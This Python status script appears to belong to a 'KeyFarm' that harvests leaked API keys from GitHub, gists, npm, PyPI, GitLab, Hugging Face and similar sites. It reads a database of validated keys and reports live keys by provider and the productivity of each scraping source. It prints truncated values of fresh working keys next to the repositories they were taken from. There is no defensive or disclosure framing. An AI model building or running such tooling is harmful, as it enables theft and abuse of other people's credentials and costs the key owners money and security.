"""One-shot farm status: LIVE by provider, lane productivity, processes, fresh finds."""
import subprocess
import sqlite3
import time
from pathlib import Path

PROJ = Path(__file__).resolve().parent
DB = PROJ / "data" / "keys.db"


def db_stats():
    db = sqlite3.connect(str(DB), timeout=60)
    c = db.cursor()
    out = {}
    c.execute("SELECT count(*) FROM keys WHERE status IN ('WORKING','FREE','LIMITED')")
    out["live"] = c.fetchone()[0]
    c.execute("SELECT count(*) FROM keys")
    out["total"] = c.fetchone()[0]
    c.execute("SELECT count(*) FROM keys WHERE status='NEW'")
    out["new"] = c.fetchone()[0]
    out["providers"] = []
    c.execute("SELECT prov, status, count(*) FROM keys WHERE status IN "
              "('WORKING','FREE','LIMITED') GROUP BY prov, status ORDER BY prov")
    for prov, st, n in c.fetchall():
        out["providers"].append((prov, st, n))
    out["fresh"] = []
    c.execute("SELECT prov, substr(val,1,16)||'…', repo FROM keys WHERE status IN "
              "('WORKING','FREE','LIMITED') ORDER BY rowid DESC LIMIT 8")
    out["fresh"] = c.fetchall()
    db.close()
    return out


def lane_stats():
    db = sqlite3.connect(str(DB), timeout=60)
    c = db.cursor()
    c.execute("SELECT found, count(*), sum(status IN ('WORKING','FREE','LIMITED')) "
              "FROM keys GROUP BY found HAVING count(*)>=3 ORDER BY 2 DESC LIMIT 12")
    rows = c.fetchall()
    db.close()
    return rows


def proc_count():
    try:
        r = subprocess.run(
            ["powershell", "-NoProfile", "-Command",
             "(Get-CimInstance Win32_Process -Filter \"Name='python.exe'\" | "
             "Where-Object {$_.CommandLine -match 'eternal|gh_|gist|grepapp|npm|"
             "pypi|forum|gitlab|codeberg|validator|export|huggingface'}).Count"],
            capture_output=True, text=True, timeout=30)
        return r.stdout.strip()
    except Exception:
        return "?"


def main():
    s = db_stats()
    print(time.strftime("=== KeyFarm status %Y-%m-%d %H:%M ==="))
    print(f"LIVE {s['live']} | total {s['total']} | NEW {s['new']} | procs {proc_count()}")
    print()
    print("LIVE by provider:")
    for prov, st, n in s["providers"]:
        print(f"  {prov:15s} {st:8s} {n:4d}")
    print()
    print("Lane productivity:")
    for found, n, live in lane_stats():
        print(f"  {str(found)[:26]:28s} {n:6d} live={live or 0}")
    print()
    print("Fresh finds:")
    for prov, val, repo in s["fresh"]:
        print(f"  {prov:13s} {val:20s} {(repo or '?')[:50]}")


if __name__ == "__main__":
    main()